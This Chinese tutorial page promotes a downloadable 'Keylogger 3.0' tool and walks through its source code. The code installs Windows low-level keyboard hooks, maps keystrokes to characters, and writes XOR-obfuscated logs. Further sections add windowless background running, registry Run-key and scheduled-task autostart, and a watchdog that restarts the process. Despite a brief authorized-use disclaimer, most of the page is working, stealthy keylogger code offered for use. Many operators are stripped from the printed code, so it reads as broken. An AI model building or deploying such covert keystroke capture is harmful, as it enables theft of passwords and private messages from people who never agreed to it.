键盘记录器3.0:Windows低层钩子与日志落盘全解析
简介全能键盘记录器3.0是一款面向企业管理者、家长及安全审计人员的键盘监控工具能够完整捕获字母、数字、特殊字符以及回车、空格等按键动作并支持后台隐蔽运行、定期生成带时间戳的日志报告、关键词过滤与远程访问功能适用于员工行为规范、未成年人上网守护、设备使用审计等场景。资源以zip压缩包形式提供仅含2个文件一个exe安装程序用于快速部署软件一个htm说明文档详细介绍系统需求、安装向导、功能操作与常见问题整体大小4.16MB部署轻量便捷。目前已有255人学习下载。使用者可获得完整安装包与官方使用手册按照向导即可完成隐蔽监控参数配置并学会查看日志、设置关键词警报等核心操作同时资料中明确提示键盘记录器涉及个人隐私未经同意的监控可能触犯法律帮助读者在合法合规前提下开展行为审计工作。1. 键盘记录器3.0先看这套资源到底能替你省多少事如果你以为键盘记录器就是把用户敲过的按键原样存成文本那这套“全能键盘记录器3.0”工程会颠覆你的预期。它不是一个简单的按键钩子Demo而是把 Windows 全局钩子、虚拟键码解析、中文输入法字符转换、日志落盘、进程归属、开机自启、无窗口后台运行和 Python 行为分析串成了一条完整链路的资源包。对做授权设备审计、个人输入习惯统计、自动化测试按键回放的人来说它相当于一份可以直接改着用的工程底稿。需要先泼一盆冷水所有录制行为都必须运行在你自己有权限的电脑或明确授权的测试机范围内别拿它去碰任何与自己无关的设备。下面按我复现这套资源时的顺序把每一段的关键参数和绕不过去的坑拆开讲。2. 钩子选型与加载为什么 3.0 用 WH_KEYBOARD_LL 而不是驱动2.1 三类按键捕获方案对比为什么低层钩子优先先说结论在“全能”两个字面前方案选型直接决定这套资源能跑多宽。Windows 下抓键盘无非三条路第一是全局钩子 SetWindowsHookEx第二是键盘驱动级回调第三是轮询 GetAsyncKeyState。驱动方案灵敏度最高但签名、崩溃蓝屏、系统版本兼容问题能把一个普通工程拖垮普通资源包根本不敢内置驱动轮询方案代码最简单但 CPU 占用高而且会漏掉两个按键发生在同一轮询间隔里的情况不适合做行为分析。于是资源包选了第三条中间路线——低层键盘钩子 WH_KEYBOARD_LL。WH_KEYBOARD_LL 的定位是应用态钩子但它由系统在键盘输入线程里回调不需要写 DLL 注入到目标进程这是它比旧式全局钩子 WH_KEYBOARD 省事的关键。它拿到的参数比轮询完整虚拟键码、硬件扫描码、标志位、时间戳都在 KBDLLHOOKSTRUCT 里直接给到。对记录器来说这意味着不用自己去猜 Ctrl、Shift 是否按下flags 字段里带 LLKHF_EXTENDED 之类信息可以判断是右侧 Ctrl 还是菜单键日志维度更全。我从这套资源里看到的选型逻辑很清楚记录器这类工具优先保证“可分发、不易崩、权限可控”至于低层钩子在某些受保护进程里拿不到按键的问题属于边界情况后面第 5 章会专门说。驱动方案不是不能做而是绝大多数使用者根本不需要那种强度反而会被数字签名问题挡住。2.2 SetWindowsHookEx 四个参数逐个拆安装低层键盘钩子就一个 API但四个参数每个都有讲究。资源里给的核心调用长这样#include windows.h HHOOK g_hook nullptr; LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) { // nCode 为 HC_ACTION 时参数里的内容才有效 if (nCode 0) { // 只处理按下动作WM_KEYUP 忽略避免同一次按键记两条 if (wParam WM_KEYDOWN || wParam WM_SYSKEYDOWN) { auto* info reinterpret_castKBDLLHOOKSTRUCT*(lParam); // 在这里把按键信息交给日志模块 OnKeyPress(info-vkCode, info-scanCode, info-flags, info-time); } } // 必须把事件继续传给下一个钩子否则其他程序会失灵 return CallNextHookEx(nullptr, nCode, wParam, lParam); } void InstallHook() { g_hook SetWindowsHookExW( WH_KEYBOARD_LL, // 参数1钩子类型低层键盘钩子 LowLevelKeyboardProc, // 参数2回调函数指针 GetModuleHandleW(nullptr), // 参数3模块句柄 0 // 参数4目标线程0 表示所有线程 ); if (!g_hook) { // 拿错误码排查常见 5 是权限不足87 是参数错误 DWORD err GetLastError(); LogError(err); return; } }逻辑说明整个钩子的生命周期分安装、回调、卸载三块。回调里用 nCode 过滤无效消息用 wParam 区分按下和抬起。CallNextHookEx 必须无条件调用否则系统里其它程序的键盘行为会被截断这个现象极其明显一跑就能察觉。参数 1 的 WH_KEYBOARD_LL 数值上是 13别记成旧值。参数 2 的回调函数要在回调里处理事件不能做成空壳。参数 3 在低层钩子模型下传当前进程模块句柄即可也可以从 GetModuleHandle 拿到不需要像旧式全局钩子那样必须传一个含导出函数的 DLL 句柄。参数 4 填 0 表示捕获整个交互式桌面的按键如果要挂到后台服务会话需要结合会话 ID 处理普通场景用 0 就行。2.3 最小可运行示例与消息泵的必要性钩子安上之后代码不能立即 return因为低层钩子的回调依赖消息循环没有消息泵钩子会在毫秒级被系统自动摘除。资源包里专门在安装代码后面跟了一个 GetMessage 循环int RunLoop() { MSG msg; // GetMessage 返回 0 表示收到 WM_QUIT可以退出循环 while (GetMessageW(msg, nullptr, 0, 0)) { TranslateMessage(msg); DispatchMessageW(msg); } return 0; }这里有个高频翻车点很多人把 GetMessage 换成 PeekMessage 写非阻塞循环结果回调时断时续。正确逻辑是靠 GetMessage 挂起线程系统投递按键消息时才唤醒。还有人在消息循环里加了 Sleep(1)这会让低层钩子的实时性变差按键一快就丢事件。这套资源里的做法是直接进消息循环不做任何多余的延时实测连续快速输入时丢包明显减少。2.4 钩子触发频率与回调超时的隐藏限制低层钩子要处理整台机器的所有按键回调里一旦做了重活Windows 给钩子回调设了超时限制超过一定时间没有返回系统会静默卸载钩子。资源里把日志构造成结构体后直接丢进内存队列文件写入完全放到另一个线程就是为这个原因。如果你自己改代码时把文件打开、写盘、刷缓冲一口气都放在回调里敲得快一点程序就自动失效日志停在某一秒不再增长。判断钩子被卸载的办法很简单在回调里维护一个原子计数器另开线程每秒打印一次计数。计数突然停止增长优先怀疑回调超时而不是钩子安装失败。3. 数据链路设计从按键事件到加密日志落盘3.1 键码两层转换vkCode、scanCode 与字符输出钩子回调拿到的先是虚拟键码和硬件扫描码这两者都不是人类可读的字符。字母键可以直接按 ASCII 映射但数字键盘、Shift 组合键、中文输入法下面的情况就复杂了。这套资源里给了一个标准处理链虚拟键码优先扫描码兜底。wchar_t KeyCodeToChar(DWORD vkCode, DWORD scanCode) { // 1. 先拿当前键盘布局布局决定了 ToUnicodeEx 的映射结果 HKL layout GetKeyboardLayout(0); // 2. 缓存一份完整的键盘状态避免影响真实按键状态 BYTE keyState[256] {0}; GetKeyboardState(keyState); // 3. 做组合键修正模拟 Shift 按下状态让 A - A 还是 a keyState[VK_SHIFT] (GetKeyState(VK_SHIFT) 0x8000) ? 0x80 : 0; wchar_t out[8] {0}; int len ToUnicodeEx(vkCode, scanCode, keyState, out, 8, 0, layout); if (len 0) { return out[0]; } // 4. 转换失败时就退化用 vkCode 的简单映射 return VkToAsciiFallback(vkCode); }逻辑说明ToUnicodeEx 是键盘记录器从“键码”走向“字符”的关键尤其在中文输入法和欧洲键盘布局下直接拿 vkCode 拼字符必出乱码。它依赖三个输入按键状态数组、虚拟键码、硬件扫描码。步骤 2 里禁止用 GetKeyboardState 拿到的原始状态直接传给 ToUnicodeEx因为当时 Ctrl、Alt、Shift 的按下状态可能影响输出资源里做了单独修正。参数说明GetKeyboardLayout(0) 取当前线程活动布局如果你的程序跑在服务会话里需要显式传目标会话的布局句柄keyState 数组必须是 256 字节ToUnicodeEx 的缓冲长度 8 足够覆盖绝大多数死键组合处理一些亚洲输入法时输出可能拆成多个字符这时候只看 out[0] 会丢内容需要按 len 遍历拼接。3.2 落盘结构设计固定大小的二进制记录文本日志虽然直观但解析慢、容易因为分隔符被注入垃圾。这套资源里的日志主格式是二进制定长记录每条记录固定 24 字节左右解析时按偏移量读即可。#pragma pack(push, 1) struct KeyLogEntry { uint64_t timestamp; // 自 1601 年起的 100ns 时间戳来自 GetTickCount 校准 uint32_t pid; // 当前前台进程 ID用于区分来源 uint16_t vkCode; // 虚拟键码 uint16_t scanCode; // 硬件扫描码 uint32_t flags; // 低位含 LLKHF_EXTENDED / LLKHF_ALTDOWN wchar_t ch; // 转换后的字符空键为 0 }; #pragma pack(pop)time_t 是秒级精度而记录器分析时需要计算两次按键之间的毫秒间隔秒级精度会让连击分布图变成一条直线。uint64_t 的 100ns 时间戳则保留了完整精度。#pragma pack(1)强制结构体按 1 字节对齐保证 JVM 之外的语言也能按偏移量直接映射避免不同编译器把字段对齐成 4 字节造成读错位。pid 字段单独留出来是因为行为分析几乎必然要看“这次按键发生在哪个窗口下”否则日志就只是一串没有场景的字符流。3.3 缓存批量写盘控制 I/O 频率与崩溃丢失盘写得太勤机器卡顿写得太懒断电丢数据。资源里用的是“数量阈值 时间阈值”双条件触发。每来一条按键先压入内存队列队列攒到 256 条或者距上一次落盘超过 5 秒就把整批追加写入。void AppendToCache(const KeyLogEntry e) { static std::vectorKeyLogEntry cache; cache.push_back(e); bool countReached cache.size() 256; bool timeReached (GetTickCount64() - lastFlushTime) 5000; if (countReached || timeReached) { WriteBatchToFile(cache); cache.clear(); lastFlushTime GetTickCount64(); } }这里有个取舍程序正常退出时机缓存里还有少量条目没落盘必须在退出流程里强制清空缓存。资源里把 FlushOnExit 设计成析构函数调用而不是靠用户手动停就是为了防止 CtrlC 之类的强制中断直接丢数据。3.4 文件防护与按天切分避免单文件无限膨胀日志文件无限制增长会导致两个问题单个文件超过 1GB 后资源自带的 Python 分析工具读取变慢文件损坏时所有历史数据一起陪葬。资源默认按自然日切分文件名里带日期例如 keylog_20250601.bin。每天首次写入时新建文件路径由配置项指定。对于数据保护源码里加了一层轻量 XOR 混淆。它不是加密主要目的是防止日志被记事本顺手打开以及避免文件包含明文敏感信息时在备份里裸奔。void Obfuscate(char* data, size_t len, unsigned char key) { for (size_t i 0; i len; i) { data[i] ^ key; // 可逆 XOR key (key 1) | (key 7); // 每个字节动一次 key破坏统计特征 } }必须说清楚XOR 混淆只防君子不防专业人员。如果安全等级要求高应该接系统级的 DPAPI 或 AES-GCM那是另一个话题。资源里保留轻量方案的原因是可读性优先方便使用者二次开发。4. 部署与运行提权、自启动、无窗口后台的完整闭环4.1 UAC 清单与最低权限法很多程序一上来就申请 requireAdministrator这是自找麻烦。键盘记录器的低层钩子并不需要管理员权限即可工作在普通用户会话下完全能装钩子、写日志。资源给出的建议是用 asInvoker程序启动时保持和用户相同的权限等级。这背后有个粘连问题如果程序申请了 requireAdministrator用户每次开机触发 UAC 弹窗一路点“是”才启动当系统里配置了受控文件夹访问日志目录没进白名单写入直接被拒。反过来用 asInvoker 且把日志目录放在用户目录下既不弹窗也不碰系统保护部署体验干净很多。配套工具里有一份 UAC 清单文件核心内容就是一个 requestedExecutionLevel 节点。?xml version1.0 encodingUTF-8 standaloneyes? assembly xmlnsurn:schemas-microsoft-com:asm.v1 manifestVersion1.0 trustInfo xmlnsurn:schemas-microsoft-com:asm.v3 security requestedPrivileges requestedExecutionLevel levelasInvoker uiAccessfalse/ /requestedPrivileges /security /trustInfo /assembly如果确实需要拿到管理员权限才能读某些受保护进程的标题再切换成 requireAdministrator 实测。但大多数日志分析场景不需要这一步。日志目录的 ACL 要设成仅当前用户可读别用默认共享权限。4.2 自启动选型注册表 Run 键与计划任务资源工程里写死了两种自启动实现简单版是往当前用户注册表 Run 键写命令复杂版是注册计划任务。二者各有边界。$exe C:\Tools\KeyRecord3\keyrecord.exe $runKey HKCU:\Software\Microsoft\Windows\CurrentVersion\Run # 命令路径必须带引号否则带空格路径会被撕成两半 Set-ItemProperty -Path $runKey -Name KeyRecord3 -Value $exe --quiet # 写完后回读验证一次 $v (Get-ItemProperty -Path $runKey -Name KeyRecord3).KeyRecord3 if ($v -eq $exe --quiet) { Write-Output run key written } else { Write-Error run key mismatch }注册表方式的优势是用户级权限即可写不需要管理员授权。缺点是不够“隐蔽”任务管理器里能直接看到进程和路径计划任务的优点是能在系统启动早期运行且支持“进程崩溃后 30 秒重启”。资源里实际上把自启动交给了 PowerShell 脚本统一部署脚本会先探测当前用户是否为管理员是管理员就装启动任务不是管理员就退回 HKCU Run 键。实际部署里我看到过一个很隐蔽的坑计划任务的“登录时触发”和“系统启动时触发”是两种语义用“系统启动时触发”时程序没有用户会话GetKeyboardLayout(0) 拿不到用户键盘布局日志里的字符全是默认英文映射。推荐只用“用户登录时触发”搭配延时 10 秒再启动。4.3 无窗口运行控制台工程改成 GUI 子系统一个传统控制台程序双击后会弹黑窗这既影响正常使用又容易被一眼发现。资源里给的做法是把入口函数从 main 改成 wWinMain并在链接器参数里指定 /SUBSYSTEM:WINDOWS。int APIENTRY wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PWSTR lpCmdLine, int nCmdShow) { // 解析命令行参数--quiet 表示后台模式 bool quiet wcsstr(lpCmdLine, L--quiet) ! nullptr; if (!quiet) { // 非安静模式可以在这里建立一个带图标的托盘窗口 CreateTrayIcon(hInstance); } InstallHook(); return RunLoop(); }逻辑说明Windows 子系统程序不自动创建控制台窗口所以双击运行只会在任务管理器里看到进程不会闪黑框。但这也带来一个代价printf 没有输出设备调试信息全丢。资源里配套的调试版仍然保留控制台正式版才切 GUI 子系统。日常调试加日志用 OutputDebugString 配合 DebugView 更高效不需要开控制台。另一个细节程序做了单实例互斥体防止重复启动导致两条钩子链同时挂载出现日志双写或文件锁冲突。HANDLE g_mutex CreateMutexW(nullptr, TRUE, LGlobal\\KeyRecord3_SingleInstance); if (GetLastError() ERROR_ALREADY_EXISTS) { // 已有实例在运行直接退出当前进程 return 0; }4.4 进程自愈与异常退出兜底记录器一旦意外退出数据采集就断了。资源里补了一个看门狗脚本用 PowerShell 或 Windows 计划任务定时检查进程是否存活。它的实现并不复杂但价值很高——很多长时间部署任务最终死因是系统更新把进程结束了看门狗能在两分钟内把它拉回来。$target keyrecord if (-not (Get-Process -Name $target -ErrorAction SilentlyContinue)) { Start-Process C:\Tools\KeyRecord3\keyrecord.exe -ArgumentList --quiet }部署时还要注意一个相反情况程序崩溃后留下未释放的互斥体句柄Windows 的内核句柄在进程退出时会自动释放所以互斥体不会因为崩溃变成死锁。真正容易出问题的是日志文件句柄前一个进程异常退出时文件没关干净新进程启动后写同一路径的文件会得到共享冲突。解决方法是日志文件路径里带上进程启动时的随机后缀或定期轮换日志名避免新老进程抢同一个文件。5. 常见问题与排查我在复现中踩过的五个坑5.1 钩子安装成功按键回调却一次都不触发现象SetWindowsHookEx 返回的句柄非空GetLastError 是 0但是日志文件一直不增长。原因默认由 MSVC 生成的工程是多字节字符集程序入口是 mainmain 函数进入钩子安装后立即被执行完进程退出钩子被系统撤销。还有一种情况是回调函数写成了 lambda 或类成员函数没有用正确的函数指针类型传给 SetWindowsHookEx导致栈上的回调地址在安装后失效。解决至少保证安装钩子后进程进入消息循环且回调必须是普通函数或静态函数。我用一个全局原子计数器验证回调是否被触发写入日志的代码另开线程回调里只做计数和队列压入避免入口函数提前返回。5.2 64 位系统下日志目录找不到文件被写进 SysWOW64 重定向区现象程序里明明写死了日志路径C:\Program Files\KeyRecord3\logs但运行后磁盘上找不到这个目录偶尔在C:\Program Files (x86)\KeyRecord3\logs下看到了同名文件。原因32 位编译版本的进程运行在 64 位系统上任何对 Program Files 目录的访问都会被 WOW64 重定向到 x86 目录。虽然记录器本身不依赖重定向但日志路径恰好落在受保护系统目录下就会被系统悄悄拆走。解决日志路径建议放在%LOCALAPPDATA%或用户配置目录天然不受 WOW64 重定向影响。如果确实需要写系统目录要么编译 64 位版本要么在文件写操作前显式调用 Wow64DisableWow64FsRedirection。我现在默认就按用户目录存放日志免去这套麻烦。5.3 中文输入法下字符全是乱码或空字符现象用微软拼音输入汉字日志里只记录到一组英文字母或空白看不到真实汉字。切到英文键盘时一切正常。原因IME 输入法会拦截键盘消息普通按键事件并不直接对应最终候选词。经典 WM_KEYDOWN 只能感知到物理按键和 IME 的组合状态没法感知用户是何时按下回车确认了候选词。ToUnicodeEx 虽然能转换但在 IME 活跃时它会返回一组死键状态结果为空字符。解决一是要在日志里同时记录 vkCode 和 scanCode不要只在日志里记转换后的字符二是对中文文本的最终还原建议选择在 Windows 10/11 下启用剪贴板级别的辅助采集方案不适合全部依赖钩子。资源包里的处理方式是同时保存原始键码和生产环境下的转换结果分析脚本里再根据上下文重放。无法还原的部分按 key code 保留原始值保证行为分析不丢事件密度。5.4 全屏游戏或高权限窗口中捕获不到按键现象钩子装在用户桌面会话普通程序都能记录但进入某个全屏独占模式的游戏后记录完全停止。退出游戏后恢复。原因低层钩子运行在应用态无法插入到以管理员权限运行且开启受保护进程完整性级别的进程或者游戏使用了独占输入模式钩子回调不再被投递。解决这类场景只有两种出路。一种是放弃钩子改用 GetAsyncKeyState 轮询或者 Raw Input 读取原始 HID 输入另一种是让记录器进程也以管理员权限运行并开启 uiAccess或者把系统里“受保护进程完整性”策略放宽。实测中 Raw Input 方案对键盘记录器更友好因为它不依赖消息队列可以拿到 RAWKEYBOARD 数据而且需要管理员权限的门槛比驱动低。资源里的做法是把 Raw Input 作为可选模块单独实现默认仍走 Hook 链路。5.5 系统待机唤醒后日志文件被写入大量乱码现象电脑睡眠再唤醒第二天打开日志发现某段时间文件里多出一堆无意义字符时间戳也是乱的。原因Windows 在待机时会暂停消息泵唤醒后系统会补发一批键盘状态相关消息低层钩子回调被重放。另一个原因是日志线程在长时间睡眠后缓冲时间戳没校准写盘时用了 GetTickCount64 的距离开机值而开机到唤醒之间的跨度被误当成按键间隔。解决日志时间戳选用系统实时时间加毫秒不要用 GetTickCount64 做绝对时间。唤醒后补发消息是系统行为无法完全禁止但可以在回调里检测相邻事件时间差如果差值小于 3 毫秒且键码完全一致判定为重复事件跳过。补一条日志写入线程在系统电源事件 WM_POWERBROADCAST 到达时主动做一次 flush把睡眠前的缓存先落盘减少半开状态下的异常写入。6. 记录器3.0的进阶玩法把日志变成行为指标6.1 按键热力图与活跃时段统计日志既然有了精确的毫秒时间戳第一件要做的事就是把它变成可视化的输入活跃度。用 Python 脚本读一天的数据按小时统计按键次数输出一个简单的字符热力图。import json import datetime from collections import Counter def load_keys(path): keys [] with open(path, r, encodingutf-8) as f: for line in f: line line.strip() if not line: continue item json.loads(line) keys.append(datetime.datetime.fromtimestamp(item[ts])) return keys keys load_keys(keys_20250601.jsonl) hour_counter Counter(t.hour for t in keys) for h in range(24): cnt hour_counter.get(h, 0) bar # * (cnt // 20) print(f{h:02d}: {cnt:4d} {bar})逻辑说明这段代码把按天切分的 JSON 日志读进内存将时间戳转成本地时间后按小时聚合。条数除以 20 决定热力条的宽度避免过密。用它可以看到明显的长时间连续输入段和空闲段这是行为分析的基础维度。6.2 回删率与编辑距离识别输入状态的异常单纯的按键频率不够具体观察回删率才有意思。统计退格键 Backspace 与总按键数的比例正常连续编码时的回删率通常在 5% 到 15% 之间突然飙高往往意味着输入流程里出现了大量复制粘贴文档内容。def backspace_ratio(records): total len(records) if total 0: return 0.0 bs sum(1 for r in records if r.get(vk) 0x08) return bs / total参数说明vk 等于 0x08 表示退格键统计时要过滤自动重复的按键事件否则按住退格键不放会触发多跳计数。资源包里在记录阶段已经做了重复按键抑制所以这个比率能直接反映有意识的删除动作。6.3 用脚本回放验证记录链路完整性最后说一个我一直沿用的验证方法。记录器不能光装完就跑得有个可重复的验收流程。用一段自动化脚本向记事本发送固定序列比如《静夜思》全文然后对比日志中的字符与发送内容是否一致。import subprocess import time import pyautogui # 脚本启动后,先打开记事本,然后等待 1 秒让焦点就位 subprocess.Popen([notepad.exe]) time.sleep(1.5) text 床前明月光,疑是地上霜。 pyautogui.write(text, interval0.01) time.sleep(1.0) # 手动检查日志文件中是否完整出现该字符串它并不精妙但每次改动代码后先跑一遍能迅速暴露字符映射、输入法、缓存落盘三处主要风险。如果发送了 18 个字符而日志只记录到 17 个优先怀疑钩子超时或消息泵被阻塞。从那以后我每次部署记录器工程都会强制走一遍“安装钩子、模拟输入、落盘检查、回读比对”这四步闭环确认无误后再谈其他分析功能。这套资源和文档里的工程源码都可以直接改着用希望能帮到你。本文还有配套的精品资源点击获取

相关新闻

计算机网络面试高频考点:三次握手、DNS解析与HTTP缓存全梳理

计算机网络面试高频考点:三次握手、DNS解析与HTTP缓存全梳理

简介:面向技术面试准备的计算机基础知识点 PDF 文档,重点覆盖计算机网络中的高频考点,与“代码随想录知识星球”最强八股文系列的计算机基础篇对应,适合后端、前端开发者跳槽或校招前集中复习。内容系统梳理了TCP三次握手与四次挥…

2026/10/18 9:41:33 阅读更多 →
计算机网络面试高频考点:三次握手、TCP连接、HTTP缓存与DNS解析

计算机网络面试高频考点:三次握手、TCP连接、HTTP缓存与DNS解析

简介:这是一份面向后端、前端岗位求职者的计算机基础面试资料,内容源自代码随想录知识星球最强八股文系列的计算机基础篇。资源以单个PDF文件呈现,大小约37.83MB,排版紧凑、便于离线阅读或打印对照。PDF围绕计算机网络高频考点展开…

2026/10/18 9:41:33 阅读更多 →
期权Alpha从哪里来?量化捕捉与风控框架全解析

期权Alpha从哪里来?量化捕捉与风控框架全解析

Option Alphas 系列写到第四章,终于到了收尾总结。前三章分别拆了期权定价、波动率曲面、单腿与价差策略的底层逻辑,这一章我想换个角度:把所有零散的认知收拢到一条主线上——期权交易里的 Alpha 到底是什么、从哪里来、怎么稳定地把 Ta 装进…

2026/10/18 9:41:33 阅读更多 →

最新新闻

告别木偶Agent:用分层任务拆解构建可靠智能体系统

告别木偶Agent:用分层任务拆解构建可靠智能体系统

做Agent开发这几年,我踩过最大的坑就是亲手造出一个又一个木偶Agent——demo阶段看起来什么都会,工具调用行云流水,一丢到真实场景就崩得稀碎。后来我把这些翻车案例翻来覆去地复盘,发现根源几乎一致:大多数人都在用一…

2026/10/18 10:21:42 阅读更多 →
瑞幸把咖啡做进 CLI:用 TaoToken 统一 Key 打通终端点单工作流

瑞幸把咖啡做进 CLI:用 TaoToken 统一 Key 打通终端点单工作流

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/18 10:21:42 阅读更多 →
2026年03月26日全球AI前沿动态:TaoToken统一Key看大模型、智能体与机器人开源进展

2026年03月26日全球AI前沿动态:TaoToken统一Key看大模型、智能体与机器人开源进展

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/18 10:21:42 阅读更多 →
从MCP协议到Awesome MCP Servers:AI工具链的选型与落地实践指南

从MCP协议到Awesome MCP Servers:AI工具链的选型与落地实践指南

如果你最近在关注AI应用开发,肯定绕不开一个词:MCP。只要打开代码托管平台搜一下“awesome-mcp-servers”,就能看到一个被无数人收藏过的仓库,它把散落在各处的MCP服务器、客户端、SDK和教程整理成了一份索引清单。这篇文章不打算…

2026/10/18 10:21:42 阅读更多 →
【清华代码熊】Coding 测评 GLM 5.1、DeepSeek V4,TaoToken 统一 Key 怎么选?

【清华代码熊】Coding 测评 GLM 5.1、DeepSeek V4,TaoToken 统一 Key 怎么选?

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/18 10:21:42 阅读更多 →
主流大模型API聚合平台2026年横评:词元之河与硅基流动等五家对比

主流大模型API聚合平台2026年横评:词元之河与硅基流动等五家对比

先把概念说清楚:大模型 API 聚合平台,是把多家厂商的推理能力统一为标准接口的云端中间层——一个 API Key 加一个接入地址,就能在模型之间自由切换。它的三大价值很直接:接口统一(多数兼容 OpenAI 格式,代…

2026/10/18 10:20:41 阅读更多 →

日新闻

基于GMM的语音识别系统原理与MATLAB实现详解

基于GMM的语音识别系统原理与MATLAB实现详解

说到基于高斯混合模型(GMM)的语音识别系统,很多人第一反应就是一堆数学公式,觉得门槛很高。但如果你真的在MATLAB里把它落地跑通,会发现核心其实就是三件事:把声音变成特征向量,用GMM给每个类别…

2026/10/18 0:00:55 阅读更多 →
数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理这四个字听起来挺唬人,但落到具体操作上,无非就是让计算机按你的想法“摆弄”像素。我在一个模拟项目X里用了一套特别经典的基础处理流程:对图像做反白、改调色板、彩色转灰度,最后把像素数据导出成txt文件。单看每一…

2026/10/18 0:00:55 阅读更多 →
机器人大脑技术盘点:具身智能的感知、决策与数据闭环

机器人大脑技术盘点:具身智能的感知、决策与数据闭环

如果你的信息流最近也天天刷到“机器人大脑”这个词,你会发现一个很有意思的现象:每个人说的“大脑”根本不是同一个东西。有人指的是大语言模型,有人指的是运动控制系统,还有人指的是能理解物理世界的端到端模型。在2026年这个时…

2026/10/18 0:00:55 阅读更多 →

周新闻

基于GMM的语音识别系统原理与MATLAB实现详解

基于GMM的语音识别系统原理与MATLAB实现详解

说到基于高斯混合模型(GMM)的语音识别系统,很多人第一反应就是一堆数学公式,觉得门槛很高。但如果你真的在MATLAB里把它落地跑通,会发现核心其实就是三件事:把声音变成特征向量,用GMM给每个类别…

2026/10/18 0:00:55 阅读更多 →
数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理这四个字听起来挺唬人,但落到具体操作上,无非就是让计算机按你的想法“摆弄”像素。我在一个模拟项目X里用了一套特别经典的基础处理流程:对图像做反白、改调色板、彩色转灰度,最后把像素数据导出成txt文件。单看每一…

2026/10/18 0:00:55 阅读更多 →
机器人大脑技术盘点:具身智能的感知、决策与数据闭环

机器人大脑技术盘点:具身智能的感知、决策与数据闭环

如果你的信息流最近也天天刷到“机器人大脑”这个词,你会发现一个很有意思的现象:每个人说的“大脑”根本不是同一个东西。有人指的是大语言模型,有人指的是运动控制系统,还有人指的是能理解物理世界的端到端模型。在2026年这个时…

2026/10/18 0:00:55 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/18 0:55:02 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/17 17:22:31 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/16 14:23:36 阅读更多 →